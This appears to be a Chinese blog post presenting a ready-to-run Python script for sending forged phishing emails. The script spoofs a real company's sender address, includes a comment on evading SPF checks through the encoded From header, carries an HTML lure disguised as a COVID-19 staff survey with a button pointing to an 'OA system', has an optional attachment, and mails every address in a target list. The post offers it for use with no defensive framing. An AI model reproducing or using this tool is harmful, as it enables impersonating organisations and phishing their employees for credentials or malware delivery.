• 匿名伪造邮件发送脚本


    直接上脚本吧。

    # # -*- coding: utf-8 -*-
    # '''
    # Program:邮件伪造
    # Function:伪造邮件发送工具
    # Version:Python3.6
    # ''' 
      
    # #导入两个库,用来发送邮件,multipart用来构造邮件,带附件的
    import smtplib  
    import email.mime.multipart  
    import email.mime.text  
    from email.header import Header 
    from email.mime.application import MIMEApplication 
    
    def send(mailaddress):
        content = """
                <html>
                各位员工:<br />
                       近期新冠病毒有反弹迹象,公司决定全方位提升防范措施;调查内容包括食堂员工是否佩戴口罩、食堂餐桌距离是否合理、物业进出检测力度、中高风险地区出差员工是否隔离、办公场所通风情况等;<br />
                       请各位同事进入OA系统进行调查问卷的填写。<br />
                       <a href="" class="minfo-letter-btn-update-password" style="display: block;  120px; height: 32px; line-height: 32px; text-align: center; color: rgb(255, 255, 255); cursor: pointer; text-decoration: none; margin: 10px 0px; background-image: initial; background-attachment: initial; background-color: rgb(9, 138, 255); background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;">调查问卷</a><br />
                       谢谢配合!<br />
                </html>
            """
        # 建立邮件对象
        msg = email.mime.multipart.MIMEMultipart()
        # 添加数据,来自哪,去哪
        msg['Subject'] = u'调查问卷'
        # 邮件显示的发送人
        # msg['From'] = '测试admin@pingan.com.cn'
        msg['From'] = '8666@sinochem.com'
        # 上面一行有时候无法对有spf的目标进行伪造,如果被退信
        # 可以使用header头,在owa下可以对设置了spf的目标邮件源伪造
        msg['From'] = Header('新闻8666@sinochem.com','utf-8')
    
        msg['To'] =mailaddress
        #发送的内容
        txt = email.mime.text.MIMEText(content,'html','utf-8')
        msg.attach(txt)
    
        #发送附件
    
        # attpart = MIMEApplication(open('notepad.zip', 'rb').read())
        # attpart.add_header('Content-Disposition', 'attachment', filename='a.zip')
        # msg.attach(attpart)
    
        #smpt登录 然后发送
        try:
                smtp = smtplib.SMTP()
                # 连接到服务器
                smtp.connect('smtp.126.com', '25')
                # 用户名密码登录,密码为163邮箱的授权码,自己设置的
                smtp.login('lxxx@126.com', 'BSJZxxxxK')
                # 发送邮件(发送地,接受地,内容) 第二个参数必须为列表
                smtp.sendmail('xxx@126.com', [mailaddress], msg.as_string())
                #退出
                smtp.quit()
                print('邮件发送成功email has send out !')
        except Exception as e:
            print(e)
    
    with open('send_targets.txt','r',encoding='utf-8') as f:
        maillist = [line.strip() for line in f.readlines()]
    
    for i in maillist:
        print(i)
        send(i) 
    

      

  • 相关阅读:
    简要描述客户端发送的http request header都包含哪些内容
    如何利用TestNG监听器优化测试报告
    TestNG 监听器 ITestListener
    p3317 [SDOI2014]重建
    EZOJ #387字符串
    EZOJ #386 最小生成树
    EZOJ #385 排列
    EZOJ #375高速公路
    EZOJ #374学习
    EZOJ #373排序
  • 原文地址:https://www.cnblogs.com/whoami101/p/13157799.html
Copyright © 2020-2023  润新知